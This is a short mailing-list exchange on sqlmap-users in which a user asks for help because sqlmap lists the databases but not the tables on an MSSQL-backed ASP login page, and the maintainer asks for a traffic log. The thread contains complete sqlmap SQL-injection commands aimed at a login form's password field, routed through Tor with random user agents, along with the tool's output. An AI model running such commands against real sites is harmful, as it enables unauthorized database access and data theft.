Hi.
What technique has been used and could you please send traffic file (-t
traffic.txt --fresh-queries)?
Kind regards,
Miroslav Stampar
On Feb 21, 2012 9:37 PM, "John Booth" <sqlmapiss...@hotmail.com> wrote:
> Hello,
>
> First some background information
>
> 1. Havij was able to enumerate databases, tables, columns & data on the
> same URL / POST data
> 2. sqlmap is unable to enumerate tables (see commands below)
> 3. --banner output
> Microsoft SQL Server 2000 - 8.00.2055 (Intel X86)
> Dec 16 2008 *:*:*
> Copyright (c) 1988-2003 Microsoft Corporation
> Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
>
>
>
>
> Command to enumerate databases:
> python sqlmap.py -u "http://www.site.com/index.asp?action=auth";
> --random-agent --tor --data "UN=admin&PW=admin&x=0&y=0" -p "PW"
> --dbms=mssql -o --dbs
>
> this successfully lists all databases
>
> Command to enumerate tables
> python sqlmap.py -u "http://www.site.com/index.asp?action=auth";
> --random-agent --tor --data "UN=admin&PW=admin&x=0&y=0" -p "PW"
> --dbms=mssql -o --tables -D DATABASENAME
>
> [15:36:20] [INFO] the back-end DBMS is Microsoft SQL Server
> web server operating system: Windows 2003
> web application technology: ASP.NET, Microsoft IIS 6.0, ASP
> back-end DBMS: Microsoft SQL Server 2000
> [15:36:20] [INFO] fetching tables for database: DATABASENAME
> [15:36:24] [WARNING] the SQL query provided does not return any output
> Database: DATABASENAME
> [1 table]
> +--+
> | |
> +--+
>
> [15:36:24] [WARNING] HTTP error codes detected during testing:
> 500 (Internal Server Error) - 1 times
> [15:36:24] [INFO] Fetched data logged to text files under
> '/pentest/database/sqlmap/output/www.site.com'
>
> [*] shutting down at 15:36:24
>
>
> Any issues on what I could try? I tried --hex as well.
>
>
> ------------------------------------------------------------------------------
> Keep Your Developer Skills Current with LearnDevNow!
> The most comprehensive online learning library for Microsoft developers
> is just $99.99! Visual Studio, SharePoint, SQL - plus HTML5, CSS3, MVC3,
> Metro Style Apps, more. Free future releases when you subscribe now!
> http://p.sf.net/sfu/learndevnow-d2d
> _______________________________________________
> sqlmap-users mailing list
> sqlmap-users@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
------------------------------------------------------------------------------
Keep Your Developer Skills Current with LearnDevNow!
The most comprehensive online learning library for Microsoft developers
is just $99.99! Visual Studio, SharePoint, SQL - plus HTML5, CSS3, MVC3,
Metro Style Apps, more. Free future releases when you subscribe now!
http://p.sf.net/sfu/learndevnow-d2d
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
